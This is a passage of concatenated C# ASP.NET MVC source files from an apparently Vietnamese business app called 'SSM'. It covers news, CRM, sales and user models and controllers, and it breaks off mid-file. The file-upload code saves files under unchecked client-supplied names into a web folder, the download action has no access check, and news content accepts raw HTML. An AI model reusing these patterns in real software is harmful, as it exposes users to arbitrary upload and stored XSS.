using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;
namespace SSM.Models
{
public enum NewType : byte
{
Infomation,//REGULATION
News
}
public enum NewCategory : byte
{
Info,//REGULATION
News
}
public class NewsModel
{
public int Id { get; set; }
[Required]
public string Header { get; set; }
[AllowHtml]
[Required]
public string Contents { get; set; }
public NewType Type { get; set; }
public string Sourse { get; set; }
public DateTime DateCreate { get; set; }
public DateTime? DateModify { get; set; }
[Display(Name = " ALLOW ANOTHER PERSON UP-DATE")]
public bool IsAllowAnotherUpdate { get; set; }
public int[] ListUserAccesses { get; set; }
public long[] ListUserUpdate { get; set; }
public IList<GroupAccessPermission> NewAccessPermissions { get; set; }
public IList<ServerFile> FilesList { get; set; }
public bool IsApproved{ get; set; }
public int CateloryId { get; set; }
public Catelory Catelory { get; set; }
public User CreaterBy { get; set; }
public User ModifiedBy { get; set; }
public string RefDoc { get; set; }
public User ApprovedBy { get; set; }
public DateTime? DateApproved { get; set; }
public DateTime? DatePromulgate { get; set; }
public string UsersCanUpdate { get; set; }
public string UserView { get; set; }
public bool IsViewed { get; set; }
}
public class NewSearchModel
{
public string Keyworks { get; set; }
[Display(Name = "Category")]
public int CategoryId { get; set; }
[Display(Name = "Group")]
public int GroupId { get; set; }
[Display(Name = "Pending")]
public bool IsPending { get; set; }
public SSM.Services.SortField SortField { get; set; }
}
}<file_sep>using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models.CRM
{
public class CRMBaseModel
{
public virtual int Id { get; set; }
[Required]
public virtual string Name { get; set; }
public virtual string Description { get; set; }
public ModelType ModelType { get; set; }
public int? ParentId { get; set; }
public bool IsSystem { get; set; }
public CRMStatusCode Code { get; set; }
public BaseModelTypeName ModelTypeName { get; set; }
}
public enum BaseModelTypeName
{
SOURCE,
STATUS,
GROUP,
JOBCATEGORY,
EVENTTYPE,
PLANPROGRAM,
PRICESTATUS
}
public enum ModelType
{
CRMSource,
CRMStatus,
CRMGroup,
CRMJobCategory,
CRMEventType,
UserModel,
CRMPlanProgram,
CRMPriceStatus,
}
public enum CRMDataType
{
All = 0,
SsmCustomer = 1,
CRMNew = 2
}
public enum CRMStatusCode
{
All = 0,
Potential = 1,
Success = 3,
Client = 4,
Orther = 9,
}
}<file_sep>namespace SSM.ViewModels
{
public class CalculateCostViewModel
{
public int FromMonth { get; set; }
public int ToMonth { get; set; }
public int Year { get; set; }
}
}<file_sep>using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Web.Mvc;
using WebGrease.Css.Extensions;
namespace SSM.Common
{
public static class ModelStateErrorHandler
{
/// <summary>
/// Returns a Key/Value pair with all the errors in the model
/// according to the data annotation properties.
/// </summary>
/// <param name="errDictionary"></param>
/// <returns>
/// Key: Name of the property
/// Value: The error message returned from data annotation
/// </returns>
public static Dictionary<string, string> GetModelErrors(this ModelStateDictionary errDictionary)
{
var errors = new Dictionary<string, string>();
errDictionary.Where(k => k.Value.Errors.Count > 0).ForEach(i =>
{
var er = string.Join(", ", i.Value.Errors.Select(e => e.ErrorMessage).ToArray());
errors.Add(i.Key, er);
});
return errors;
}
public static string StringifyModelErrors(this ModelStateDictionary errDictionary)
{
var errorsBuilder = new StringBuilder();
var errors = errDictionary.GetModelErrors();
errors.ForEach(key => errorsBuilder.AppendFormat("{0}: {1} -", key.Key, key.Value));
return errorsBuilder.ToString();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class OutNewController : BaseController
{
#region Definetion
public static String DOCUMENT_PATH = "/FileManager/Document";
private UsersServices usersServices;
private IGroupService groupService;
private INewsServices newsServices;
private FreightServices freightServices;
private Grid<NewsModel> _grid;
private const string NEW_SEARCH_MODEL = "NEW_SEARCH_MODEL";
private const string INFOMATION_SEARCH_MODEL = "INFOMATION_SEARCH_MODEL";
private NewSearchModel filterInformationModel;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
usersServices = new UsersServicesImpl();
newsServices = new NewsServices();
freightServices = new FreightServicesImpl();
groupService = new GroupService();
Session[AccountController.USER_HASH_NEWINFO] = false;
}
#endregion
#region Company Regulation
public ActionResult Index()
{
_grid = (Grid<NewsModel>)Session[NEW_SEARCH_MODEL];
if (_grid == null)
{
_grid = new Grid<NewsModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "Header"
}
);
_grid.SearchCriteria = new NewsModel();
}
UpdateGrid(string.Empty);
return View(_grid);
}
public ActionResult List(string newType)
{
LoadTitle(newType);
_grid = (Grid<NewsModel>)Session[NEW_SEARCH_MODEL];
if (_grid == null)
{
_grid = new Grid<NewsModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "Header"
}
);
_grid.SearchCriteria = new NewsModel();
}
UpdateGrid(newType);
return PartialView("_ListNewData", _grid);
}
public void LoadTitle(string newType)
{
var title = "List INFORMATION";
if (newType == "NEW")
{
title += " - New";
}
else if (newType == "Info")
{
title += " - Info";
}
ViewBag.Title = title;
}
[HttpPost]
public ActionResult List(string newType, Grid<NewsModel> grid)
{
LoadTitle(newType);
_grid = grid;
Session[NEW_SEARCH_MODEL] = _grid;
UpdateGrid(newType);
return PartialView("_ListNewData", _grid);
}
public void UpdateGrid(string newType)
{
var page = _grid.Pager;
var newlist = newsServices.GetScfNewsByUser(CurrenUser)
.Where(x => x.Type == (byte) NewType.News
&& (string.IsNullOrEmpty(newType) || x.Catelory.NameType == newType));
newlist =
newlist.Where(
x =>
string.IsNullOrEmpty(_grid.SearchCriteria.Header) ||
x.Header.Contains(_grid.SearchCriteria.Header));
var totalRows = (int)newlist.Count();
_grid.Pager.Init(totalRows);
if (totalRows == 0)
{
_grid.Data = new List<NewsModel>();
return;
}
var list = newsServices.GetListPager(newlist, page.CurrentPage, page.PageSize);
var listview = list.Select(x => NewsServices.ToModel(x));
var viewData = new List<NewsModel>();
foreach (var it in listview)
{
IEnumerable<ServerFile> files = freightServices.getServerFile(it.Id, new SSM.Models.NewsModel().GetType().ToString());
it.FilesList = files != null ? files.ToList() : new List<ServerFile>();
viewData.Add(it);
}
_grid.Data = viewData;
}
[HttpGet]
public ActionResult GetTopNew(string newType, int? top = 10)
{
LoadTitle(newType);
ViewBag.ViewType = newType;
int getTop = top ?? 10;
var newlist = newsServices.GetScfNewsByUser(CurrenUser)
.Where(x => x.Type == (byte) NewType.News && x.Catelory.NameType == newType)
.OrderByDescending(x => x.DateCreate)
.Take(getTop).ToList();
return PartialView("_NewTopView", newlist);
}
[HttpGet]
public ActionResult CreateNews()
{
ViewBag.Title = "Create INFORMATION";
var listUser = groupService.GetQuery(x => x.IsActive).ToList();
ViewBag.AllUSer = listUser;
var model = new NewsModel();
ViewBag.Categories = newsServices.ListCatelories(NewType.News);
model.NewAccessPermissions = new List<GroupAccessPermission>();
model.FilesList = new List<ServerFile>();
model.Type = NewType.News;
ViewBag.AllUSerFee = usersServices.GetAll(x => x.IsActive);
ViewBag.UserCanupdate = new List<User>();
return PartialView("_CreateNewInfo", model);
}
[HttpPost, ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult CreateNews(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
ViewBag.Title = "Ceate INFORMATION";
model.CreaterBy = CurrenUser;
model.DateCreate = DateTime.Now;
model.Type = NewType.News;
var idNew = newsServices.Created(model);
model.Id = idNew;
UploadFile(model, filesUpdoad);
return List(string.Empty);
}
public ActionResult ViewDetail(int id)
{
var data = newsServices.GetNewsModel(id);
var check = data.UserView != null &&
data.UserView.Contains(string.Format(";{0};", CurrenUser.Id));
if (!check)
{
data.UserView = newsServices.SetIsViewed(CurrenUser, id);
}
IEnumerable<ServerFile> files = freightServices.getServerFile(id, new SSM.Models.NewsModel().GetType().ToString());
data.FilesList = files != null ? files.ToList() : new List<ServerFile>();
return PartialView("_DetailView", data);
}
[HttpGet]
public ActionResult Edit(int id)
{
ViewBag.Title = "UPDATE YOUR NEW INFORMATION";
var model = newsServices.GetNewsModel(id);
var check = model.UserView != null &&
model.UserView.Contains(string.Format(";{0};", CurrenUser.Id));
if (!check)
{
model.UserView = newsServices.SetIsViewed(CurrenUser, id);
}
var listUser = groupService.GetQuery(x => x.IsActive).ToList();
var listUserAccess = model.NewAccessPermissions.Select(x => x.Group).ToList();
var userNewList = listUser.Where(x => !listUserAccess.Select(u => u.Id).Contains(x.Id));
var alluser = usersServices.GetAll(x => x.IsActive);
ViewBag.AllUSer = userNewList.ToList();
var userCanupdate = alluser.Where(x => model.ListUserUpdate.Contains(x.Id)).ToList();
ViewBag.AllUSerFee = alluser.Where(x => !model.ListUserUpdate.Contains(x.Id)).ToList();
ViewBag.UserCanupdate = userCanupdate;
ViewBag.Categories = newsServices.ListCatelories(NewType.News);
IEnumerable<ServerFile> files = freightServices.getServerFile(id, new SSM.Models.NewsModel().GetType().ToString());
model.FilesList = files != null ? files.ToList() : new List<ServerFile>();
return PartialView("_EditView", model);
}
[HttpPost, ValidateInput(false)]
[ValidateAntiForgeryToken]
public ActionResult Edit(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
ViewBag.Title = "UPDATE YOUR NEW INFORMATION";
model.ModifiedBy = CurrenUser;
model.DateModify = DateTime.Now;
model.Type = NewType.News;
newsServices.SaveUpdate(model);
UploadFile(model, filesUpdoad);
return List(string.Empty);
}
public ActionResult Delete(int id)
{
var files = freightServices.getServerFile(id, new NewsModel().GetType().ToString());
foreach (var file in files.Where(file => file != null).Where(file => System.IO.File.Exists(Server.MapPath(file.Path))))
{
System.IO.File.Delete(Server.MapPath(file.Path));
}
newsServices.DeleteNew(id);
return List(string.Empty);
}
#endregion
#region File Action
private void UploadFile(NewsModel model, List<HttpPostedFileBase> filesUpdoad)
{
if (filesUpdoad != null && filesUpdoad.Any())
foreach (HttpPostedFileBase file in filesUpdoad)
{
if (file != null && file.ContentLength > 0)
{
try
{
var pathfoder = Path.Combine(Server.MapPath(@"~/" + DOCUMENT_PATH), model.Type.ToString());
if (!Directory.Exists(pathfoder))
{
Directory.CreateDirectory(pathfoder);
}
string filePath = Path.Combine(pathfoder, Path.GetFileName(file.FileName));
file.SaveAs(filePath);
//save file to db
var fileSave = new ServerFile
{
ObjectId = model.Id,
ObjectType = model.GetType().ToString(),
Path = string.Format("{0}/{1}/{2}", DOCUMENT_PATH, model.Type.ToString(), file.FileName),
FileName = file.FileName,
FileSize = file.ContentLength,
FileMimeType = file.ContentType
};
freightServices.insertServerFile(fileSave);
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
}
}
public ActionResult Download(long id)
{
var document = freightServices.getServerFile(id);
var cd = new System.Net.Mime.ContentDisposition
{
// for example foo.bak
FileName = document.FileName,
// always prompt the user for downloading, set to true if you want
// the browser to try to show the file inline
Inline = true,
};
// Response.AppendHeader("Content-Disposition", cd.ToString());
string filepath = AppDomain.CurrentDomain.BaseDirectory + document.Path;
byte[] filedata = System.IO.File.ReadAllBytes(filepath);
Response.AppendHeader("Content-Disposition", cd.ToString());
return File(filedata, document.FileMimeType);
}
[HttpPost]
public ActionResult DeleteFile(long id)
{
try
{
var idFile = (long)id;
var file = freightServices.getServerFile(idFile);
if (file != null)
if (System.IO.File.Exists(Server.MapPath(file.Path)))
System.IO.File.Delete(Server.MapPath(file.Path));
freightServices.deleteServerFile(idFile);
return Json(new { isFalse = false, messageErro = string.Empty }, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
return Json(new { isFalse = true, messageErro = ex.Message }, JsonRequestBehavior.AllowGet);
}
}
#endregion
}
}<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using CrystalDecisions.CrystalReports.Engine;
using CrystalDecisions.Shared;
using SSM.Common;
using SSm.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Reports;
using SSM.ViewModels.Shared;
using Helpers = SSM.Common.Helpers;
using RequestContext = System.Web.Routing.RequestContext;
namespace SSM.Controllers
{
public class SalesController : BaseController
{
private Grid<SalesModel> grid;
private const string SALES_GIRD_MODEL = "SALES_GIRD_MODEL";
private const string SALES_SEARCH_MODEL = "SALES_SEARCH_MODEL";
private SelectList currencyList;
private ShipmentServices shipmentServices;
private IProductServices productServices;
private IWarehouseSevices warehouseSevices;
private IStockReceivingService stockReceivingService;
private ISalesServices salesServices;
private IEnumerable<Warehouse> warehouses;
private TradingStockSearch filterModel;
private UsersServices usersServices;
private IServicesTypeServices servicesType;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
shipmentServices = new ShipmentServicesImpl();
productServices = new ProductServices();
warehouseSevices = new WareHouseServices();
stockReceivingService = new StockReceivingService();
salesServices = new SalesServices();
usersServices = new UsersServicesImpl();
servicesType = new ServicesTypeServices();
if (!Helpers.AllowTrading)
{
throw new HttpException("You are not authorized to access this page");
}
}
private IEnumerable<Curency> curencies;
private void GetDefaultData()
{
curencies = curencies ?? stockReceivingService.GetAllCurencies();
if (currencyList == null) currencyList = new SelectList(curencies, "Id", "Code");
ViewData["Currency"] = currencyList;
ViewBag.vStatus = VoucherStatus.Pending;
ViewBag.Islook = "";
warehouses = warehouses == null || !warehouses.Any() ? warehouseSevices.GetAll() : warehouses;
var stocks = warehouses.Select(x => new SelectListItem
{
Text = x.Name,
Value = x.Id.ToString()
}).ToList();
stocks.Insert(0, new SelectListItem()
{
Text = "--All--",
Value = "0"
});
var userTrading = salesServices.GetAllUserTrading();
var users = userTrading.Select(x => new SelectListItem
{
Text = x.FullName,
Value = x.Id.ToString()
}).ToList();
users.Insert(0, new SelectListItem()
{
Text = "--All--",
Value = "0"
});
ViewData["UserTrading"] = users;
ViewData["Warehouses"] = stocks;
ViewBag.SearchingMode = filterModel ?? new TradingStockSearch();
}
public ActionResult Index()
{
grid = (Grid<SalesModel>)Session[SALES_GIRD_MODEL];
filterModel = (TradingStockSearch)Session[SALES_SEARCH_MODEL];
filterModel = filterModel ?? new TradingStockSearch();
if (grid == null)
{
grid = new Grid<SalesModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 20,
Sord = "desc",
Sidx = "VoucherDate"
}
);
grid.SearchCriteria = new SalesModel();
}
UpdateGridData();
return View(grid);
}
[HttpPost]
public ActionResult Index(TradingStockSearch model, Grid<SalesModel> gridview)
{
grid = gridview;
filterModel = model;
Session[SALES_GIRD_MODEL] = grid;
Session[SALES_SEARCH_MODEL] = filterModel;
grid.ProcessAction();
UpdateGridData();
return PartialView("_ListData", grid);
}
private void UpdateGridData()
{
var orderField = new SSM.Services.SortField(grid.Pager.Sidx, grid.Pager.Sord == "asc");
filterModel.SortField = orderField;
GetDefaultData();
var totalRow = 0;
var mts = salesServices.GetAllModel(filterModel, grid.Pager.CurrentPage, grid.Pager.PageSize, out totalRow, CurrenUser);
grid.Pager.Init(totalRow);
grid.Data = mts;
}
public ActionResult Create()
{
GetDefaultData();
ViewBag.Islook = "new";
var order = new SalesModel();
order.Customer = new Customer();
order.Curency = curencies.FirstOrDefault(x => x.Code == "USD");
order.VoucherCode = stockReceivingService.GetVoucherCodeId("HDA");
order.VoucherNo = salesServices.GetVoucherNo();
order.Status = VoucherStatus.Pending;
order.ExchangeRate = 22500;
return View(order);
}
[HttpPost]
public ActionResult Create(SalesModel model)
{
GetDefaultData();
ViewBag.Islook = "new";
if (!ModelState.IsValid)
return View(model);
try
{
model.CreateBy = CurrenUser.Id;
model.VoucherId = stockReceivingService.GetVoucherId();
model.DateCreate = DateTime.Now;
long voucherId = model.VoucherId;
salesServices.InsertSale(model, out voucherId);
return RedirectToAction("Edit", new { id = voucherId });
}
catch (Exception ex)
{
ModelState.AddModelError(string.Empty, ex.Message);
return View(model);
}
}
public ActionResult Edit(long id)
{
GetDefaultData();
var order = salesServices.GetModelById(id);
if (order == null)
{
ViewBag.message = string.Format("Not fount delivery bill with id {0}", id);
RedirectToAction("Index");
}
ViewBag.Islook = "look";
return View(order);
}
[HttpPost]
public ActionResult Edit(SalesModel model)
{
GetDefaultData();
ViewBag.Islook = "";
if (!ModelState.IsValid)
return View(model);
try
{
model.ModifyBy = CurrenUser.Id;
model.DateModify = DateTime.Now;
salesServices.Update(model);
return RedirectToAction("Edit", new { id = model.VoucherId });
}
catch (Exception ex)
{
model.UserSubmited = model.UserSubmited ?? new User();
model.UserChecked = model.UserChecked ?? new User();
model.UserApproved = model.UserApproved ?? new User();
ModelState.AddModelError(string.Empty, ex.Message);
return View(model);
}
}
public ActionResult BlankEditorRow(int tabindex)
{
GetDefaultData();
ViewData["tabindex"] = tabindex;
return PartialView("_SalesDetailView", new SalesDetailModel());
}
public void Print(long id, bool isLogin = true)
{
var allEverest = new List<StockInDetailReport>();
var order = salesServices.GetModelById(id);
allEverest.AddRange(order.DetailModels.Select(x => new StockInDetailReport
{
ProductCode = x.Product.Code,
ProductName = $"{x.Product.Name}{ Environment.NewLine}- Tại: {x.Warehouse.Name}",
WarehouseName = x.Warehouse.Name,
Unit = x.UOM,
WarehouseAddress = x.Warehouse.Address ?? string.Empty,
Price = x.VnPrice,
Quantity = x.Quantity,
Amount = x.VnPrice * x.Quantity
}));
try
{
var rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath(@"~/bin/Reports"), "RpStockOut.rpt"));
rd.SetDataSource(allEverest);
rd.SetParameterValue("supplierName", order.Customer.FullName ?? "");
rd.SetParameterValue("supplierAddress", order.Customer.Address ?? "");
rd.SetParameterValue("voucherDate", order.VoucherDate ?? DateTime.Now);
rd.SetParameterValue("DesignerName", isLogin ? CurrenUser.FullName : " ");
rd.SetParameterValue("note", string.IsNullOrEmpty(order.NotePrints) ? " " : order.NotePrints);
rd.SetParameterValue("strDate",
string.Format("Ngày {0:dd} tháng {0:MM} năm {0:yyyy}", order.VoucherDate ?? DateTime.Now));
rd.SetParameterValue("totalString", order.VnAmount.DecimalToString(CodeCurrency.VND));
rd.SetParameterValue("voucherNo", order.VoucherNo ?? " ");
rd.ExportToHttpResponse(ExportFormatType.PortableDocFormat, System.Web.HttpContext.Current.Response,
false, $"phieuxuat_{order.VoucherNo}");
rd.Dispose();
}
catch (Exception ex)
{
Logger.LogError(ex);
throw ex;
}
}
public ActionResult Delete(long id)
{
try
{
var mt = salesServices.GetById(id);
if (mt != null && mt.Status == (byte)VoucherStatus.Pending)
{
if (mt.Shipments != null)
{
shipmentServices.DeleteShipment(mt.Shipments.Id);
}
Logger.Log($"{CurrenUser.FullName} delete sale order with id {mt.VoucherID} bill {mt.VoucherNo}");
salesServices.DeleteOrder(mt);
}
}
catch (Exception ex)
{
Logger.LogError(ex);
}
return RedirectToAction("Index");
}
public ActionResult GetQtyInventory(int vid, int proId, int wId)
{
return Json(salesServices.GetQtyInventory(vid, proId, wId).ToString("N"), JsonRequestBehavior.AllowGet);
}
public ActionResult StockCardAction(long id, string status)
{
VoucherStatus vStatus = (VoucherStatus)Enum.Parse(typeof(VoucherStatus), status);
ViewBag.vStatus = vStatus;
//if (vStatus == VoucherStatus.Submited)
//{
// var check = salesServices.CheckValidQty(id);
// if (!check)
// {
// return Json(0, JsonRequestBehavior.AllowGet);
// }
//}
salesServices.StockCardAction(vStatus, CurrenUser.Id, id);
// var button = ModelExtensions.StockButtonAction(CurrenUser, vStatus, id);
var model = salesServices.GetModelById(id);
var statusview = this.RenderPartialView("_StatusView", model);
return Json(new
{
status = vStatus.ToString(),
// button = button,
view = statusview
}, JsonRequestBehavior.AllowGet);
}
public ActionResult CreateShippmet(long id)
{
try
{
var link = "N/A";
var existShipment = shipmentServices.GetShipmentByOrder(id);
var order = salesServices.GetModelById(id);
if (existShipment != null)
{
var statusviews = this.RenderPartialView("_StatusView", order);
link = string.Format("<a href=\"/Shipment/Edit/{0}\" target=\"_bank\">{0}</a>", existShipment.Id);
return Json(new
{
Error = false,
RefId = link,
view = statusviews
}, JsonRequestBehavior.AllowGet);
}
var ship = new ShipmentModel()
{
QtyNumber = 1,
QtyUnit = "ship(s)",
ServiceName = "Trading",
CarrierAirId = 360,
Dateshp = order.VoucherDate.ToString(),
CneeId = order.Customer.Id,
DepartmentId = order.UserCreated.DeptId ?? 0,
SaleId = order.UserCreated.Id,
CompanyId = order.UserCreated.ComId ?? 0,
IsTrading = true,
AgentId = 141,
VoucherId = id,
SaleType = ShipmentModel.SaleTypes.Handle.ToString(),//"Sales",
RevenueStatus = ShipmentModel.RevenueStatusCollec.Pending.ToString(),
CountryDeparture = 126,
DepartureId = 2,
CountryDestination = 126,
DestinationId = 2,
ShipperId = 1754,
ServiceId = servicesType.GetId("Trading")
};
if (shipmentServices.InsertShipment(ship))
{
try
{
var newShip = shipmentServices.GetShipmentByOrder(id);
var amount = (double)order.SumTotal;
var funds = (double)order.Amount0;
var revenus = new RevenueModel()
{
INAutoValue1 = amount,
INVI = amount,
Income = amount,
EXManualValue1 = funds,
EXVI = funds,
Expense = funds,
EarningVI = amount - funds,
Earning = amount - funds,
Id = newShip.Id,
InvCurrency1 = order.Curency.Code,
InvCurrency2 = order.Curency.Code,
InvType1 = "AgentDebit",
InvType2 = "AgentCredit",
InvAgentId1 = 141,
InvAgentId2 = 141,
PaidToCarrier = 126,
BonRequest = GetBonRequest(newShip.SaleType),
SaleType = newShip.SaleType,
AutoName1 = "Total exork amount",
EXManualName1 = "Cost of sales"
};
revenus.AmountBonus2 = Convert.ToDecimal(revenus.BonRequest * revenus.Earning / 100);
if (!shipmentServices.UpdateRevenue(revenus))
{
shipmentServices.DeleteShipment(newShip.Id);
throw new Exception("Not Create Revenue");
}
link = string.Format("<a href=\"/Shipment/Edit/{0}\" target=\"_bank\">{0}</a>", newShip.Id);
}
catch (Exception ex)
{
Logger.LogError(ex);
throw ex;
}
}
else
{
return Json(new
{
Message = "Có lỗi trong lúc tạo shipment lòng liên hệ người quản trị",
Error = true
});
}
var model = salesServices.GetModelById(id);
var statusview = this.RenderPartialView("_StatusView", model);
return Json(new
{
Error = false,
RefId = link,
view = statusview
}, JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
var newShip = shipmentServices.GetShipmentByOrder(id);
shipmentServices.DeleteShipment(newShip.Id);
Logger.LogError(ex);
return Json(new
{
Message = ex.Message,
Error = true
});
}
}
private double GetBonRequest(String Type)
{
IEnumerable<SaleType> list = usersServices.getAllSaleTypes(true);
foreach (SaleType sale in list)
{
if (sale.Name.Equals(Type))
{
return Convert.ToDouble(sale.Value.Value);
}
}
return 0;
}
public ActionResult Revenue(long id)
{
var model = salesServices.GetModelById(id);
return PartialView("_Revenue", model);
}
public ActionResult UpdateNote(long id, string note)
{
try
{
var model = salesServices.GetModelById(id);
model.NotePrints = note;
salesServices.Update(model);
return Json("ok", JsonRequestBehavior.AllowGet);
}
catch (Exception ex)
{
Logger.LogError(ex);
return Json(ex.Message, JsonRequestBehavior.AllowGet);
}
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Web;
using System.Web.Mvc;
using SSM.ViewModels;
namespace SSM.Models.CRM
{
public enum CRMEventStatus
{
All,
Follow,
Finished,
}
public enum TypeOfEvent
{
Visited,
Events
}
public class EventFilter
{
public int Month { get; set; }
public int Year { get; set; }
public long? Sales { get; set; }
public string CustomerName { get; set; }
public TypeOfEvent? OfEvent { get; set; }
public CRMEventStatus Status { get; set; }
}
public class ListEventFilter
{
public int? Sales { get; set; }
public string CustomerName { get; set; }
public TypeOfEvent? OfEvent { get; set; }
public DateTime? BeginDate { get; set; }
public DateTime? EndDate { get; set; }
public CRMEventStatus Status { get; set; }
}
public class CRMEventModel
{
public long Id { get; set; }
public string Description { get; set; }
[Required]
[Display(Name = @"Begin Date")]
public DateTime DateBegin { get; set; }
public string TimeBegin { get; set; }
[Display(Name = @"End Date")]
public DateTime DateEnd { get; set; }
public string TimeEnd { get; set; }
[Display(Name = @"Status")]
public CRMEventStatus Status { get; set; }
public TypeOfEvent TypeOfEvent { get; set; }
public bool IsSchedule { get; set; }
public DateTime DateEvent { get; set; }
public bool AllowEdit { get; set; }
public bool AllowAdd { get; set; }
public bool AllowViewList { get; set; }
public List<CRMFollowEventUser> UsersFollow { get; set; }
[Required]
[Display(Name = @"Title")]
public string Subject { get; set; }
public DateTime CreatedDate { get; set; }
public DateTime? ModifiedDate { get; set; }
public CRMCustomer CRMCustomer { get; set; }
public long CrmCusId { get; set; }
[Display(Name = @"Customer")]
[Required]
public string CusName { get; set; }
public CRMEventType CRMEventType { get; set; }
public int? EventTypeId { get; set; }
public User CreatedBy { get; set; }
public User ModifiedBy { get; set; }
public List<HttpPostedFileBase> Uploads { get; set; }
public IList<ServerFile> FilesList { get; set; }
public bool IsEventAction { get; set; }
public string UserFollowNames { get; set; }
public DateTime? LastTimeReminder { get; set; }
[Required]
[Display(Name = @"Time")]
public string TimeOfRemider { get; set; }
public string DayWeekOfRemider { get; set; }
public int[] DayOfWeek { get; set; }
public List<CheckModel> CheckModels { get; set; }
}
public class CRMScheduleModel
{
public int Id { get; set; }
public int[] DayOfWeek { get; set; }
public List<CheckModel> CheckModels { get; set; }
public int? DayBeforeOfDatePlan { get; set; }
public int? DayBeforeOfDateRevised { get; set; }
public DateTime? DateOfSchedule { get; set; }
[Required]
public DateTime DateBegin { get; set; }
[Required]
public DateTime DateEnd { get; set; }
[Required]
public string TimeOfSchedule { get; set; }
public ScheduleType ScheduleType { get; set; }
public int? DayAlert { get; set; }
public int? MountAlert { get; set; }
}
public enum ScheduleType
{
DayLoop,
DatePlan,
DateVisit,
OnDay,
ForDays
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using DotNetOpenAuth.Messaging;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.Utils;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
[HandleError]
public partial class UsersController : BaseController
{
private UsersServices UsersServices1 { get; set; }
private User User1;
private SelectList Positions
{
get
{
var positions = from UsersModel.DisplayPositions p in Enum.GetValues(typeof(UsersModel.DisplayPositions))
select new { Id = p, Name = p.ToString() };
return new SelectList(positions, "Id", "Name");
}
}
private SelectList PositionsAll
{
get
{
var positions = from UsersModel.Positions p in Enum.GetValues(typeof(UsersModel.Positions))
select new { Id = p, Name = p.ToString() };
return new SelectList(positions, "Id", "Name");
}
}
private SelectList Functions
{
get
{
var functions = from UsersModel.Functions p in Enum.GetValues(typeof(UsersModel.Functions))
select new { Id = p, Name = p.ToString() };
return new SelectList(functions, "Id", "Name");
}
}
private SelectList SaleTypes
{
get
{
var functions = from ShipmentModel.SaleTypes st in Enum.GetValues(typeof(ShipmentModel.SaleTypes))
select new { Id = st, Name = st.ToString() };
return new SelectList(functions, "Id", "Name");
}
}
private SelectList Levels
{
get
{
var Levels = from UsersModel.Levels l in Enum.GetValues(typeof(UsersModel.Levels))
select new { Id = (int)(UsersModel.Levels)l + 1, Name = l.GetStringLabel() };
return new SelectList(Levels, "Id", "Name");
}
}
private Grid<UsersModel> userGrid;
public static String USER_SEARCH_MODEL = "USER_SEARCH_MODEL";
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
User1 = (User)Session[AccountController.USER_SESSION_ID];
UsersServices1 = new UsersServicesImpl();
ViewData["Companies"] = new SelectList(UsersServices1.getAllCompany(), "Id", "CompanyName");
ViewData["AllCompanies"] = UsersServices1.getAllCompany();
ViewData["Departments"] = new SelectList(UsersServices1.GetAllDepartmentActive(CurrenUser, true), "Id", "DeptName");
ViewData["Positions"] = Positions;
ViewData["PositionsAll"] = PositionsAll;
ViewData["Functions"] = Functions;
ViewData["Levels"] = Levels;
ViewData["SaleTypesEnum"] = SaleTypes;
}
//
// GET: /Users/List
public ActionResult Index()
{
userGrid = (Grid<UsersModel>)Session[USER_SEARCH_MODEL];
if (userGrid == null)
{
userGrid = new Grid<UsersModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "FullName"
}
);
userGrid.SearchCriteria = new UsersModel();
}
UpdateGridUserData();
return View(userGrid);
}
[HttpPost]
public ActionResult Index(Grid<UsersModel> grid)
{
userGrid = grid;
Session[USER_SEARCH_MODEL] = grid;
try
{
userGrid.ProcessAction();
UpdateGridUserData();
}
catch (Exception ex)
{
Logger.LogError(ex);
throw;
}
return PartialView("_ListData", userGrid);
}
private void UpdateGridUserData()
{
var totalRow = 0;
var page = userGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "FullName" : page.Sidx, page.Sord == "asc");
var model = userGrid.SearchCriteria ?? new UsersModel();
var user = UsersServices1.GetQuery(x =>
(string.IsNullOrEmpty(model.UserName) || x.UserName.Contains(model.UserName))
&& (string.IsNullOrEmpty(model.FullName) || x.FullName.Contains(model.FullName))
&& (string.IsNullOrEmpty(model.RoleName) || x.RoleName == model.RoleName));
user = user.OrderBy(sort);
totalRow = user.Count();
userGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
userGrid.Data = new List<UsersModel>();
return;
}
var list = UsersServices1.GetListPager(user, page.CurrentPage, page.PageSize);
var listUserModel = list.Select(u => UsersServicesImpl.ConvertModel(u)).ToList();
userGrid.Data = listUserModel;
}
// GET: /Users/Details/5
public ActionResult Details(int id)
{
return View();
}
//
// GET: /Users/Create
public ActionResult Create()
{
UsersModel UsersModel1 = new UsersModel();
UsersModel1.RoleName = UsersModel.Positions.Sales.ToString();
return View(UsersModel1);
}
//
// POST: /Users/Create
[HttpPost]
